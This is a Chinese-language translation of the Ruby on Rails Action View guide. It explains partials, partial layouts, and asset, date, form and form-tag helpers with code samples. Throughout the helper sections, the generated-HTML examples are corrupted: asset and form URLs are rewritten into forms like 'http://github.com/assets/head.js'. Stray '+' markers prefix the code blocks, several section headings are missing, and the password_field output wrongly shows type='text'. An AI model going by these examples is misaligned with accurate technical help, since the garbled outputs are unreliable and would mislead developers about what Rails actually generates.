+
3.1.3 模板缓存

默认情况下,Rails 会把各个模板都编译成一个方法,这样才能渲染视图。在开发环境中,修改模板文件后,Rails 会检查文件的修改时间,然后重新编译。

3.2 局部视图

局部视图把整个渲染过程分成多个容易管理的代码片段。局部视图把模板中的代码片段提取出来,写入单独的文件中,可在所有模板中重复使用。

3.2.1 局部视图的名字

要想在视图中使用局部视图,可以调用 render 方法:

+
+<%= render "menu" %>
+
+
+
+

模板渲染到上述代码时,会渲染名为 _menu.html.erb 的文件。注意,文件名前面有个下划线。局部视图文件前面加上下划线是为了和普通视图区分,不过加载局部视图时不用加上下划线。从其他文件夹中加载局部视图也是一样:

+
+<%= render "shared/menu" %>
+
+
+
+

上述代码会加载 app/views/shared/_menu.html.erb 这个局部视图。

3.2.2 使用局部视图简化视图

局部视图的一种用法是作为子程序,把细节从视图中移出,这样能更好的理解整个视图的作用。例如,有如下的视图:

+
+<%= render "shared/ad_banner" %>
+
+<h1>Products</h1>
+
+<p>Here are a few of our fine products:</p>
+<% @products.each do |product| %>
+  <%= render partial: "product", locals: {product: product} %>
+<% end %>
+
+<%= render "shared/footer" %>
+
+
+
+

在上述代码中,_ad_banner.html.erb_footer.html.erb 局部视图中的代码可能要用到程序的多个页面中。专注实现某个页面时,无需关心这些局部视图中的细节。

3.2.3 asobject 选项

默认情况下,ActionView::Partials::PartialRenderer 对象存在一个本地变量中,变量名和模板名相同。所以,如果有以下代码:

+
+<%= render partial: "product" %>
+
+
+
+

_product.html.erb 中,就可使用本地变量 product 表示 @product,和下面的写法是等效的:

+
+<%= render partial: "product", locals: {product: @product} %>
+
+
+
+

as 选项可以为这个本地变量指定一个不同的名字。例如,如果想用 item 代替 product,可以这么做:

+
+<%= render partial: "product", as: "item" %>
+
+
+
+

object 选项可以直接指定要在局部视图中使用的对象。如果模板中的对象在其他地方(例如,在其他实例变量或本地变量中),可以使用这个选项指定。

例如,用

+
+<%= render partial: "product", object: @item %>
+
+
+
+

代替

+
+<%= render partial: "product", locals: {product: @item} %>
+
+
+
+

objectas 选项还可同时使用:

+
+<%= render partial: "product", object: @item, as: "item" %>
+
+
+
+
3.2.4 渲染集合

在模板中经常需要遍历集合,使用子模板渲染各元素。这种需求可使用一个方法实现,把数组传入该方法,然后使用局部视图渲染各元素。

例如下面这个例子,渲染所有产品:

+
+<% @products.each do |product| %>
+  <%= render partial: "product", locals: { product: product } %>
+<% end %>
+
+
+
+

可以写成:

+
+<%= render partial: "product", collection: @products %>
+
+
+
+

像上面这样使用局部视图时,每个局部视图实例都可以通过一个和局部视图同名的变量访问集合中的元素。在上面的例子中,渲染的局部视图是 _product,在局部视图中,可以通过变量 product 访问要渲染的单个产品。

渲染集合还有个简写形式。假设 @products 是一个 Product 实例集合,可以使用下面的简写形式达到同样目的:

+
+<%= render @products %>
+
+
+
+

Rails 会根据集合中的模型名(在这个例子中,是 Product 模型)决定使用哪个局部视图。其实,集合中还可包含多种模型的实例,Rails 会根据各元素所属的模型渲染对应的局部视图。

3.2.5 间隔模板

渲染局部视图时还可使用 :spacer_template 选项指定第二个局部视图,在使用主局部视图渲染各实例之间渲染:

+
+<%= render partial: @products, spacer_template: "product_ruler" %>
+
+
+
+

在这段代码中,渲染各 _product 局部视图之间还会渲染 _product_ruler 局部视图(不传入任何数据)。

3.3 布局

布局用来渲染 Rails 控制器动作的页面整体结构。一般来说,Rails 程序中有多个布局,大多数页面都使用这个布局渲染。例如,网站中可能有个布局用来渲染用户登录后的页面,以及一个布局用来渲染市场和销售页面。在用户登录后使用的布局中可能包含一个顶级导航,会在多个控制器动作中使用。在 SaaS 程序中,销售布局中可能包含一个顶级导航,指向“定价”和“联系”页面。每个布局都可以有自己的外观样式。关于布局的详细介绍,请阅读“Rails 布局和视图渲染”一文。

4 局部布局

局部视图可以使用自己的布局。局部布局和动作使用的全局布局不一样,但原理相同。

例如,要在网页中显示一篇文章,文章包含在一个 div 标签中。首先,我们要创建一个新 Post 实例:

+
+Post.create(body: 'Partial Layouts are cool!')
+
+
+
+

show 动作的视图中,我们要在 box 布局中渲染 _post 局部视图:

+
+<%= render partial: 'post', layout: 'box', locals: {post: @post} %>
+
+
+
+

box 布局只是把 _post 局部视图放在一个 div 标签中:

+
+<div class='box'>
+  <%= yield %>
+</div>
+
+
+
+

_post 局部视图中,文章的内容放在一个 div 标签中,并设置了标签的 id 属性,这两个操作通过 div_for 帮助方法实现:

+
+<%= div_for(post) do %>
+  <p><%= post.body %></p>
+<% end %>
+
+
+
+

最终渲染的文章如下:

+
+<div class='box'>
+  <div id='post_1'>
+    <p>Partial Layouts are cool!</p>
+  </div>
+</div>
+
+
+
+

注意,在局部布局中可以使用传入 render 方法的本地变量 post。和全局布局不一样,局部布局文件名前也要加上下划线。

在局部布局中可以不调用 yield 方法,直接使用代码块。例如,如果不使用 _post 局部视图,可以这么写:

+
+<% render(layout: 'box', locals: {post: @post}) do %>
+  <%= div_for(post) do %>
+    <p><%= post.body %></p>
+  <% end %>
+<% end %>
+
+
+
+

假如还使用相同的 _box 局部布局,上述代码得到的输出和前面一样。

5 视图路径

暂无内容。

6 Action View 提供的帮助方法简介

本节并未列出所有帮助方法。完整的帮助方法列表请查阅 API 文档

以下各节对 Action View 提供的帮助方法做个简单介绍。如果想深入了解各帮助方法,建议查看 API 文档

6.1 RecordTagHelper +

这个模块提供的帮助方法用来生成记录的容器标签,例如 div。渲染 Active Record 对象时,如果要将其放入容器标签中,推荐使用这些帮助方法,因为会相应的设置标签的 classid 属性。如果遵守约定,可以很容易的引用这些容器,不用再想容器的 classid 属性值是什么。

6.1.1 content_tag_for +

为 Active Record 对象生成一个容器标签。

假设 @postPost 类的一个对象,可以这么写:

+
+<%= content_tag_for(:tr, @post) do %>
+  <td><%= @post.title %></td>
+<% end %>
+
+
+
+

生成的 HTML 如下:

+
+<tr id="post_1234" class="post">
+  <td>Hello World!</td>
+</tr>
+
+
+
+

还可以使用一个 Hash 指定 HTML 属性,例如:

+
+<%= content_tag_for(:tr, @post, class: "frontpage") do %>
+  <td><%= @post.title %></td>
+<% end %>
+
+
+
+

生成的 HTML 如下:

+
+<tr id="post_1234" class="post frontpage">
+  <td>Hello World!</td>
+</tr>
+
+
+
+

还可传入 Active Record 对象集合,content_tag_for 方法会遍历集合,为每个元素生成一个容器标签。假如 @posts 中有两个 Post 对象:

+
+<%= content_tag_for(:tr, @posts) do |post| %>
+  <td><%= post.title %></td>
+<% end %>
+
+
+
+

生成的 HTML 如下:

+
+<tr id="post_1234" class="post">
+  <td>Hello World!</td>
+</tr>
+<tr id="post_1235" class="post">
+  <td>Ruby on Rails Rocks!</td>
+</tr>
+
+
+
+
6.1.2 div_for +

这个方法是使用 content_tag_for 创建 div 标签的快捷方式。可以传入一个 Active Record 对象,或对象集合。例如:

+
+<%= div_for(@post, class: "frontpage") do %>
+  <td><%= @post.title %></td>
+<% end %>
+
+
+
+

生成的 HTML 如下:

+
+<div id="post_1234" class="post frontpage">
+  <td>Hello World!</td>
+</div>
+
+
+
+

6.2 AssetTagHelper +

这个模块中的帮助方法用来生成链接到静态资源文件的 HTML,例如图片、JavaScript 文件、样式表和 Feed 等。

默认情况下,Rails 链接的静态文件在程序所处主机的 public 文件夹中。不过也可以链接到静态资源文件专用的服务器,在程序的设置文件(一般来说是 config/environments/production.rb)中设置 config.action_controller.asset_host 选项即可。假设静态资源服务器是 assets.example.com

+
+config.action_controller.asset_host = "assets.example.com"
+image_tag("rails.png") # => <img src="http://assets.example.com/images/rails.png" alt="Rails" />
+
+
+
+
6.2.1 register_javascript_expansion +

这个方法注册一到多个 JavaScript 文件,把 Symbol 传给 javascript_include_tag 方法时,会引入相应的文件。这个方法经常用在插件的初始化代码中,注册保存在 vendor/assets/javascripts 文件夹中的 JavaScript 文件。

+
+ActionView::Helpers::AssetTagHelper.register_javascript_expansion monkey: ["head", "body", "tail"]
+
+javascript_include_tag :monkey # =>
+  <script src="http://github.com/assets/head.js"></script>
+  <script src="http://github.com/assets/body.js"></script>
+  <script src="http://github.com/assets/tail.js"></script>
+
+
+
+
6.2.2 register_stylesheet_expansion +

这个方法注册一到多个样式表文件,把 Symbol 传给 stylesheet_link_tag 方法时,会引入相应的文件。这个方法经常用在插件的初始化代码中,注册保存在 vendor/assets/stylesheets 文件夹中的样式表文件。

+
+ActionView::Helpers::AssetTagHelper.register_stylesheet_expansion monkey: ["head", "body", "tail"]
+
+stylesheet_link_tag :monkey # =>
+  <link href="http://github.com/assets/head.css" media="screen" rel="stylesheet" />
+  <link href="http://github.com/assets/body.css" media="screen" rel="stylesheet" />
+  <link href="http://github.com/assets/tail.css" media="screen" rel="stylesheet" />
+
+
+
+

返回一个 link 标签,浏览器和 Feed 阅读器用来自动检测 RSS 或 Atom Feed。

+
+auto_discovery_link_tag(:rss, "http://www.example.com/feed.rss", {title: "RSS Feed"}) # =>
+  <link rel="alternate" type="application/rss+xml" title="RSS Feed" href="http://www.example.com/feed" />
+
+
+
+
6.2.4 image_path +

生成 app/assets/images 文件夹中所存图片的地址。得到的地址是从根目录到图片的完整路径。用于 image_tag 方法,获取图片的路径。

+
+image_path("edit.png") # => /assets/edit.png
+
+
+
+

如果 config.assets.digest 选项为 true,图片文件名后会加上指纹码。

+
+image_path("edit.png") # => /assets/edit-2d1a2db63fc738690021fedb5a65b68e.png
+
+
+
+
6.2.5 image_url +

生成 app/assets/images 文件夹中所存图片的 URL 地址。image_url 会调用 image_path,然后加上程序的主机地址或静态文件的主机地址。

+
+image_url("http://github.com/edit.png") # => http://www.example.com/assets/edit.png
+
+
+
+
6.2.6 image_tag +

生成图片的 HTML image 标签。图片的地址可以是完整的 URL,或者 app/assets/images 文件夹中的图片。

+
+image_tag("icon.png") # => <img src="http://github.com/assets/icon.png" alt="Icon" />
+
+
+
+
6.2.7 javascript_include_tag +

为指定的每个资源生成 HTML script 标签。可以传入 app/assets/javascripts 文件夹中所存 JavaScript 文件的文件名(扩展名 .js 可加可不加),或者可以使用相对文件根目录的完整路径。

+
+javascript_include_tag "common" # => <script src="http://github.com/assets/common.js"></script>
+
+
+
+

如果程序不使用 Asset Pipeline,要想引入 jQuery,可以传入 :default。使用 :default 时,如果 app/assets/javascripts 文件夹中存在 application.js 文件,也会将其引入。

+
+javascript_include_tag :defaults
+
+
+
+

还可以使用 :all 引入 app/assets/javascripts 文件夹中所有的 JavaScript 文件。

+
+javascript_include_tag :all
+
+
+
+

多个 JavaScript 文件还可合并成一个文件,减少 HTTP 连接数,还可以使用 gzip 压缩(提升传输速度)。只有 ActionController::Base.perform_cachingtrue(生产环境的默认值,开发环境为 false)时才会合并文件。

+
+javascript_include_tag :all, cache: true # =>
+  <script src="http://github.com/javascripts/all.js"></script>
+
+
+
+
6.2.8 javascript_path +

生成 app/assets/javascripts 文件夹中 JavaScript 文件的地址。如果没指定文件的扩展名,会自动加上 .js。参数也可以使用相对文档根路径的完整地址。这个方法在 javascript_include_tag 中调用,用来生成脚本的地址。

+
+javascript_path "common" # => /assets/common.js
+
+
+
+
6.2.9 javascript_url +

生成 app/assets/javascripts 文件夹中 JavaScript 文件的 URL 地址。这个方法调用 javascript_path,然后再加上当前程序的主机地址或静态资源文件的主机地址。

+
+javascript_url "common" # => http://www.example.com/assets/common.js
+
+
+
+

返回指定资源的样式表 link 标签。如果没提供扩展名,会自动加上 .css

+
+stylesheet_link_tag "application" # => <link href="http://github.com/assets/application.css" media="screen" rel="stylesheet" />
+
+
+
+

还可以使用 :all,引入 app/assets/stylesheets 文件夹中的所有样式表。

+
+stylesheet_link_tag :all
+
+
+
+

多个样式表还可合并成一个文件,减少 HTTP 连接数,还可以使用 gzip 压缩(提升传输速度)。只有 ActionController::Base.perform_cachingtrue(生产环境的默认值,开发环境为 false)时才会合并文件。

+
+stylesheet_link_tag :all, cache: true
+# => <link href="http://github.com/assets/all.css" media="screen" rel="stylesheet" />
+
+
+
+
6.2.11 stylesheet_path +

生成 app/assets/stylesheets 文件夹中样式表的地址。如果没指定文件的扩展名,会自动加上 .css。参数也可以使用相对文档根路径的完整地址。这个方法在 stylesheet_link_tag 中调用,用来生成样式表的地址。

+
+stylesheet_path "application" # => /assets/application.css
+
+
+
+
6.2.12 stylesheet_url +

生成 app/assets/stylesheets 文件夹中样式表的 URL 地址。这个方法调用 stylesheet_path,然后再加上当前程序的主机地址或静态资源文件的主机地址。

+
+stylesheet_url "application" # => http://www.example.com/assets/application.css
+
+
+
+

6.3 AtomFeedHelper +

6.3.1 atom_feed +

这个帮助方法可以简化生成 Atom Feed 的过程。下面是个完整的示例:

+
+resources :posts
+
+
+
+
+
+def index
+  @posts = Post.all
+
+  respond_to do |format|
+    format.html
+    format.atom
+  end
+end
+
+
+
+
+
+atom_feed do |feed|
+  feed.title("Posts Index")
+  feed.updated((@posts.first.created_at))
+
+  @posts.each do |post|
+    feed.entry(post) do |entry|
+      entry.title(post.title)
+      entry.content(post.body, type: 'html')
+
+      entry.author do |author|
+        author.name(post.author_name)
+      end
+    end
+  end
+end
+
+
+
+

6.4 BenchmarkHelper +

6.4.1 benchmark +

这个方法可以计算模板中某个代码块的执行时间,然后把结果写入日志。可以把耗时的操作或瓶颈操作放入 benchmark 代码块中,查看此项操作使用的时间。

+
+<% benchmark "Process data files" do %>
+  <%= expensive_files_operation %>
+<% end %>
+
+
+
+

上述代码会在日志中写入类似“Process data files (0.34523)”的文本,可用来对比优化前后的时间。

6.5 CacheHelper +

6.5.1 cache +

这个方法缓存视图片段,而不是整个动作或页面。常用来缓存目录,新话题列表,静态 HTML 片段等。此方法接受一个代码块,即要缓存的内容。详情参见 ActionController::Caching::Fragments 模块的文档。

+
+<% cache do %>
+  <%= render "shared/footer" %>
+<% end %>
+
+
+
+

6.6 CaptureHelper +

6.6.1 capture +

capture 方法可以把视图中的一段代码赋值给一个变量,这个变量可以在任何模板或视图中使用。

+
+<% @greeting = capture do %>
+  <p>Welcome! The date and time is <%= Time.now %></p>
+<% end %>
+
+
+
+

@greeting 变量可以在任何地方使用。

+
+<html>
+  <head>
+    <title>Welcome!</title>
+  </head>
+  <body>
+    <%= @greeting %>
+  </body>
+</html>
+
+
+
+
6.6.2 content_for +

content_for 方法用一个标记符表示一段代码,在其他模板或布局中,可以把这个标记符传给 yield 方法,调用这段代码。

例如,程序有个通用的布局,但还有一个特殊页面,用到了其他页面不需要的 JavaScript 文件,此时就可以在这个特殊的页面中使用 content_for 方法,在不影响其他页面的情况下,引入所需的 JavaScript。

+
+<html>
+  <head>
+    <title>Welcome!</title>
+    <%= yield :special_script %>
+  </head>
+  <body>
+    <p>Welcome! The date and time is <%= Time.now %></p>
+  </body>
+</html>
+
+
+
+
+
+<p>This is a special page.</p>
+
+<% content_for :special_script do %>
+  <script>alert('Hello!')</script>
+<% end %>
+
+
+
+

6.7 DateHelper +

6.7.1 date_select +

这个方法会生成一组选择列表,分别对应年月日,用来设置日期相关的属性。

+
+date_select("post", "published_on")
+
+
+
+
6.7.2 datetime_select +

这个方法会生成一组选择列表,分别对应年月日时分,用来设置日期和时间相关的属性。

+
+datetime_select("post", "published_on")
+
+
+
+
6.7.3 distance_of_time_in_words +

这个方法会计算两个时间、两个日期或两个秒数之间的近似间隔。如果想得到更精准的间隔,可以把 include_seconds 选项设为 true

+
+distance_of_time_in_words(Time.now, Time.now + 15.seconds)        # => less than a minute
+distance_of_time_in_words(Time.now, Time.now + 15.seconds, include_seconds: true)  # => less than 20 seconds
+
+
+
+
6.7.4 select_date +

返回一组 HTML 选择列表标签,分别对应年月日,并且选中指定的日期。

+
+# Generates a date select that defaults to the date provided (six days after today)
+select_date(Time.today + 6.days)
+
+# Generates a date select that defaults to today (no specified date)
+select_date()
+
+
+
+
6.7.5 select_datetime +

返回一组 HTML 选择列表标签,分别对应年月日时分,并且选中指定的日期和时间。

+
+# Generates a datetime select that defaults to the datetime provided (four days after today)
+select_datetime(Time.now + 4.days)
+
+# Generates a datetime select that defaults to today (no specified datetime)
+select_datetime()
+
+
+
+
6.7.6 select_day +

返回一个选择列表标签,其选项是当前月份的每一天,并且选中当日。

+
+# Generates a select field for days that defaults to the day for the date provided
+select_day(Time.today + 2.days)
+
+# Generates a select field for days that defaults to the number given
+select_day(5)
+
+
+
+
6.7.7 select_hour +

返回一个选择列表标签,其选项是一天中的每一个小时(0-23),并且选中当前的小时数。

+
+# Generates a select field for hours that defaults to the hours for the time provided
+select_hour(Time.now + 6.hours)
+
+
+
+
6.7.8 select_minute +

返回一个选择列表标签,其选项是一小时中的每一分钟(0-59),并且选中当前的分钟数。

+
+# Generates a select field for minutes that defaults to the minutes for the time provided.
+select_minute(Time.now + 6.hours)
+
+
+
+
6.7.9 select_month +

返回一个选择列表标签,其选项是一年之中的所有月份(“January”-“December”),并且选中当前月份。

+
+# Generates a select field for months that defaults to the current month
+select_month(Date.today)
+
+
+
+
6.7.10 select_second +

返回一个选择列表标签,其选项是一分钟内的各秒数(0-59),并且选中当前时间的秒数。

+
+# Generates a select field for seconds that defaults to the seconds for the time provided
+select_second(Time.now + 16.minutes)
+
+
+
+
6.7.11 select_time +

返回一组 HTML 选择列表标签,分别对应小时和分钟。

+
+# Generates a time select that defaults to the time provided
+select_time(Time.now)
+
+
+
+
6.7.12 select_year +

返回一个选择列表标签,其选项是今年前后各五年,并且选择今年。年份的前后范围可使用 :start_year:end_year 选项指定。

+
+# Generates a select field for five years on either side of Date.today that defaults to the current year
+select_year(Date.today)
+
+# Generates a select field from 1900 to 2009 that defaults to the current year
+select_year(Date.today, start_year: 1900, end_year: 2009)
+
+
+
+
6.7.13 time_ago_in_words +

distance_of_time_in_words 方法作用类似,但是后一个时间点固定为当前时间(Time.now)。

+
+time_ago_in_words(3.minutes.from_now)  # => 3 minutes
+
+
+
+
6.7.14 time_select +

返回一组选择列表标签,分别对应小时和分钟,秒数是可选的,用来设置基于时间的属性。选中的值会作为多个参数赋值给 Active Record 对象。

+
+# Creates a time select tag that, when POSTed, will be stored in the order variable in the submitted attribute
+time_select("order", "submitted")
+
+
+
+

6.8 DebugHelper +

返回一个 pre 标签,以 YAML 格式显示对象。用这种方法审查对象,可读性极高。

+
+my_hash = {'first' => 1, 'second' => 'two', 'third' => [1,2,3]}
+debug(my_hash)
+
+
+
+
+
+<pre class='debug_dump'>---
+first: 1
+second: two
+third:
+- 1
+- 2
+- 3
+</pre>
+
+
+
+

6.9 FormHelper +

表单帮助方法的目的是替代标准的 HTML 元素,简化处理模型的过程。FormHelper 模块提供了很多方法,基于模型创建表单,不单可以生成表单的 HTML 标签,还能生成各种输入框标签,例如文本输入框,密码输入框,选择列表等。提交表单后(用户点击提交按钮,或者在 JavaScript 中调用 form.submit),其输入框中的值会存入 params 对象,传给控制器。

表单帮助方法分为两类,一种专门处理模型,另一种则不是。前者处理模型的属性;后者不处理模型属性,详情参见 ActionView::Helpers::FormTagHelper 模块的文档。

FormHelper 模块的核心是 form_for 方法,生成处理模型实例的表单。例如,有个名为 Person 的模型,要创建一个新实例,可使用下面的代码实现:

+
+# Note: a @person variable will have been created in the controller (e.g. @person = Person.new)
+<%= form_for @person, url: {action: "create"} do |f| %>
+  <%= f.text_field :first_name %>
+  <%= f.text_field :last_name %>
+  <%= submit_tag 'Create' %>
+<% end %>
+
+
+
+

生成的 HTML 如下:

+
+<form action="http://github.com/people/create" method="post">
+  <input id="person_first_name" name="person[first_name]" type="text" />
+  <input id="person_last_name" name="person[last_name]" type="text" />
+  <input name="commit" type="submit" value="Create" />
+</form>
+
+
+
+

表单提交后创建的 params 对象如下:

+
+{"action" => "create", "controller" => "people", "person" => {"first_name" => "William", "last_name" => "Smith"}}
+
+
+
+

params 中有个嵌套 Hash person,在控制器中使用 params[:person] 获取。

6.9.1 check_box +

返回一个复选框标签,处理指定的属性。

+
+# Let's say that @post.validated? is 1:
+check_box("post", "validated")
+# => <input type="checkbox" id="post_validated" name="post[validated]" value="1" />
+#    <input name="post[validated]" type="hidden" value="0" />
+
+
+
+
6.9.2 fields_for +

类似 form_for,为指定的模型创建一个作用域,但不会生成 form 标签。特别适合在同一个表单中处理多个模型。

+
+<%= form_for @person, url: {action: "update"} do |person_form| %>
+  First name: <%= person_form.text_field :first_name %>
+  Last name : <%= person_form.text_field :last_name %>
+
+  <%= fields_for @person.permission do |permission_fields| %>
+    Admin?  : <%= permission_fields.check_box :admin %>
+  <% end %>
+<% end %>
+
+
+
+
6.9.3 file_field +

返回一个文件上传输入框,处理指定的属性。

+
+file_field(:user, :avatar)
+# => <input type="file" id="user_avatar" name="user[avatar]" />
+
+
+
+
6.9.4 form_for +

为指定的模型创建一个表单和作用域,表单中各字段的值都通过这个模型获取。

+
+<%= form_for @post do |f| %>
+  <%= f.label :title, 'Title' %>:
+  <%= f.text_field :title %><br>
+  <%= f.label :body, 'Body' %>:
+  <%= f.text_area :body %><br>
+<% end %>
+
+
+
+
6.9.5 hidden_field +

返回一个隐藏 input 标签,处理指定的属性。

+
+hidden_field(:user, :token)
+# => <input type="hidden" id="user_token" name="user[token]" value="#{@user.token}" />
+
+
+
+
6.9.6 label +

返回一个 label 标签,为指定属性的输入框加上标签。

+
+label(:post, :title)
+# => <label for="post_title">Title</label>
+
+
+
+
6.9.7 password_field +

返回一个密码输入框,处理指定的属性。

+
+password_field(:login, :pass)
+# => <input type="text" id="login_pass" name="login[pass]" value="#{@login.pass}" />
+
+
+
+
6.9.8 radio_button +

返回一个单选框,处理指定的属性。

+
+# Let's say that @post.category returns "rails":
+radio_button("post", "category", "rails")
+radio_button("post", "category", "java")
+# => <input type="radio" id="post_category_rails" name="post[category]" value="rails" checked="checked" />
+#    <input type="radio" id="post_category_java" name="post[category]" value="java" />
+
+
+
+
6.9.9 text_area +

返回一个多行文本输入框,处理指定的属性。

+
+text_area(:comment, :text, size: "20x30")
+# => <textarea cols="20" rows="30" id="comment_text" name="comment[text]">
+#      #{@comment.text}
+#    </textarea>
+
+
+
+
6.9.10 text_field +

返回一个文本输入框,处理指定的属性。

+
+text_field(:post, :title)
+# => <input type="text" id="post_title" name="post[title]" value="#{@post.title}" />
+
+
+
+
6.9.11 email_field +

返回一个 Email 输入框,处理指定的属性。

+
+email_field(:user, :email)
+# => <input type="email" id="user_email" name="user[email]" value="#{@user.email}" />
+
+
+
+
6.9.12 url_field +

返回一个 URL 输入框,处理指定的属性。

+
+url_field(:user, :url)
+# => <input type="url" id="user_url" name="user[url]" value="#{@user.url}" />
+
+
+
+

6.10 FormOptionsHelper +

这个模块提供很多方法用来把不同类型的集合转换成一组 option 标签。

6.10.1 collection_select +

object 类的 method 方法返回的集合创建 selectoption 标签。

使用此方法的模型示例:

+
+class Post < ActiveRecord::Base
+  belongs_to :author
+end
+
+class Author < ActiveRecord::Base
+  has_many :posts
+  def name_with_initial
+    "#{first_name.first}. #{last_name}"
+  end
+end
+
+
+
+

使用举例,为文章实例(@post)选择作者(Author):

+
+collection_select(:post, :author_id, Author.all, :id, :name_with_initial, {prompt: true})
+
+
+
+

如果 @post.author_id 的值是 1,上述代码生成的 HTML 如下:

+
+<select name="post[author_id]">
+  <option value="">Please select</option>
+  <option value="1" selected="selected">D. Heinemeier Hansson</option>
+  <option value="2">D. Thomas</option>
+  <option value="3">M. Clark</option>
+</select>
+
+
+
+
6.10.2 collection_radio_buttons +

object 类的 method 方法返回的集合创建 radio_button 标签。

使用此方法的模型示例:

+
+class Post < ActiveRecord::Base
+  belongs_to :author
+end
+
+class Author < ActiveRecord::Base
+  has_many :posts
+  def name_with_initial
+    "#{first_name.first}. #{last_name}"
+  end
+end
+
+
+
+

使用举例,为文章实例(@post)选择作者(Author):

+
+collection_radio_buttons(:post, :author_id, Author.all, :id, :name_with_initial)
+
+
+
+

如果 @post.author_id 的值是 1,上述代码生成的 HTML 如下:

+
+<input id="post_author_id_1" name="post[author_id]" type="radio" value="1" checked="checked" />
+<label for="post_author_id_1">D. Heinemeier Hansson</label>
+<input id="post_author_id_2" name="post[author_id]" type="radio" value="2" />
+<label for="post_author_id_2">D. Thomas</label>
+<input id="post_author_id_3" name="post[author_id]" type="radio" value="3" />
+<label for="post_author_id_3">M. Clark</label>
+
+
+
+
6.10.3 collection_check_boxes +

object 类的 method 方法返回的集合创建复选框标签。

使用此方法的模型示例:

+
+class Post < ActiveRecord::Base
+  has_and_belongs_to_many :authors
+end
+
+class Author < ActiveRecord::Base
+  has_and_belongs_to_many :posts
+  def name_with_initial
+    "#{first_name.first}. #{last_name}"
+  end
+end
+
+
+
+

使用举例,为文章实例(@post)选择作者(Author):

+
+collection_check_boxes(:post, :author_ids, Author.all, :id, :name_with_initial)
+
+
+
+

如果 @post.author_ids 的值是 [1],上述代码生成的 HTML 如下:

+
+<input id="post_author_ids_1" name="post[author_ids][]" type="checkbox" value="1" checked="checked" />
+<label for="post_author_ids_1">D. Heinemeier Hansson</label>
+<input id="post_author_ids_2" name="post[author_ids][]" type="checkbox" value="2" />
+<label for="post_author_ids_2">D. Thomas</label>
+<input id="post_author_ids_3" name="post[author_ids][]" type="checkbox" value="3" />
+<label for="post_author_ids_3">M. Clark</label>
+<input name="post[author_ids][]" type="hidden" value="" />
+
+
+
+
6.10.4 country_options_for_select +

返回一组 option 标签,几乎包含世界上所有国家。

6.10.5 country_select +

返回指定对象和方法的 selectoption 标签。使用 country_options_for_select 方法生成各个 option 标签。

6.10.6 option_groups_from_collection_for_select +

返回一个字符串,由多个 option 标签组成。和 options_from_collection_for_select 方法类似,但会根据对象之间的关系使用 optgroup 标签分组。

使用此方法的模型示例:

+
+class Continent < ActiveRecord::Base
+  has_many :countries
+  # attribs: id, name
+end
+
+class Country < ActiveRecord::Base
+  belongs_to :continent
+  # attribs: id, name, continent_id
+end
+
+
+
+

使用举例:

+
+option_groups_from_collection_for_select(@continents, :countries, :name, :id, :name, 3)
+
+
+
+

可能得到的输出如下:

+
+<optgroup label="Africa">
+  <option value="1">Egypt</option>
+  <option value="4">Rwanda</option>
+  ...
+</optgroup>
+<optgroup label="Asia">
+  <option value="3" selected="selected">China</option>
+  <option value="12">India</option>
+  <option value="5">Japan</option>
+  ...
+</optgroup>
+
+
+
+

注意,这个方法只会返回 optgroupoption 标签,所以你要把输出放入 select 标签中。

6.10.7 options_for_select +

接受一个集合(Hash,数组,可枚举的对象等),返回一个由 option 标签组成的字符串。

+
+options_for_select([ "VISA", "MasterCard" ])
+# => <option>VISA</option> <option>MasterCard</option>
+
+
+
+

注意,这个方法只返回 option 标签,所以你要把输出放入 select 标签中。

6.10.8 options_from_collection_for_select +

遍历 collection,返回一组 option 标签。每个 option 标签的值是在 collection 元素上调用 value_method 方法得到的结果,option 标签的显示文本是在 collection 元素上调用 text_method 方法得到的结果

+
+# options_from_collection_for_select(collection, value_method, text_method, selected = nil)
+
+
+
+

例如,下面的代码遍历 @project.people,生成一组 option 标签:

+
+options_from_collection_for_select(@project.people, "id", "name")
+# => <option value="#{person.id}">#{person.name}</option>
+
+
+
+

注意:options_from_collection_for_select 方法只返回 option 标签,你应该将其放在 select 标签中。

6.10.9 select +

创建一个 select 元素以及根据指定对象和方法得到的一系列 option 标签。

例如:

+
+select("post", "person_id", Person.all.collect {|p| [ p.name, p.id ] }, {include_blank: true})
+
+
+
+

如果 @post.person_id 的值为 1,返回的结果是:

+
+<select name="post[person_id]">
+  <option value=""></option>
+  <option value="1" selected="selected">David</option>
+  <option value="2">Sam</option>
+  <option value="3">Tobias</option>
+</select>
+
+
+
+
6.10.10 time_zone_options_for_select +

返回一组 option 标签,包含几乎世界上所有的时区。

6.10.11 time_zone_select +

为指定的对象和方法返回 select 标签和 option 标签,option 标签使用 time_zone_options_for_select 方法生成。

+
+time_zone_select( "user", "time_zone")
+
+
+
+
6.10.12 date_field +

返回一个 date 类型的 input 标签,用于访问指定的属性。

+
+date_field("user", "dob")
+
+
+
+

6.11 FormTagHelper +

这个模块提供一系列方法用于创建表单标签。FormHelper 依赖于传入模板的 Active Record 对象,但 FormTagHelper 需要手动指定标签的 name 属性和 value 属性。

6.11.1 check_box_tag +

为表单创建一个复选框标签。

+
+check_box_tag 'accept'
+# => <input id="accept" name="accept" type="checkbox" value="1" />
+
+
+
+
6.11.2 field_set_tag +

创建 fieldset 标签,用于分组 HTML 表单元素。

+
+<%= field_set_tag do %>
+  <p><%= text_field_tag 'name' %></p>
+<% end %>
+# => <fieldset><p><input id="name" name="name" type="text" /></p></fieldset>
+
+
+
+
6.11.3 file_field_tag +

创建一个文件上传输入框。

+
+<%= form_tag({action:"post"}, multipart: true) do %>
+  <label for="file">File to Upload</label> <%= file_field_tag "file" %>
+  <%= submit_tag %>
+<% end %>
+
+
+
+

结果示例:

+
+file_field_tag 'attachment'
+# => <input id="attachment" name="attachment" type="file" />
+
+
+
+
6.11.4 form_tag +

创建 form 标签,指向的地址由 url_for_options 选项指定,和 ActionController::Base#url_for 方法类似。

+
+<%= form_tag '/posts' do %>
+  <div><%= submit_tag 'Save' %></div>
+<% end %>
+# => <form action="http://github.com/posts" method="post"><div><input type="submit" name="submit" value="Save" /></div></form>
+
+
+
+
6.11.5 hidden_field_tag +

为表单创建一个隐藏的 input 标签,用于传递由于 HTTP 无状态的特性而丢失的数据,或者隐藏不想让用户看到的数据。

+
+hidden_field_tag 'token', 'VUBJKB23UIVI1UU1VOBVI@'
+# => <input id="token" name="token" type="hidden" value="VUBJKB23UIVI1UU1VOBVI@" />
+
+
+
+
6.11.6 image_submit_tag +

显示一个图片,点击后提交表单。

+
+image_submit_tag("login.png")
+# => <input src="http://github.com/images/login.png" type="image" />
+
+
+
+
6.11.7 label_tag +

创建一个 label 标签。

+
+label_tag 'name'
+# => <label for="name">Name</label>
+
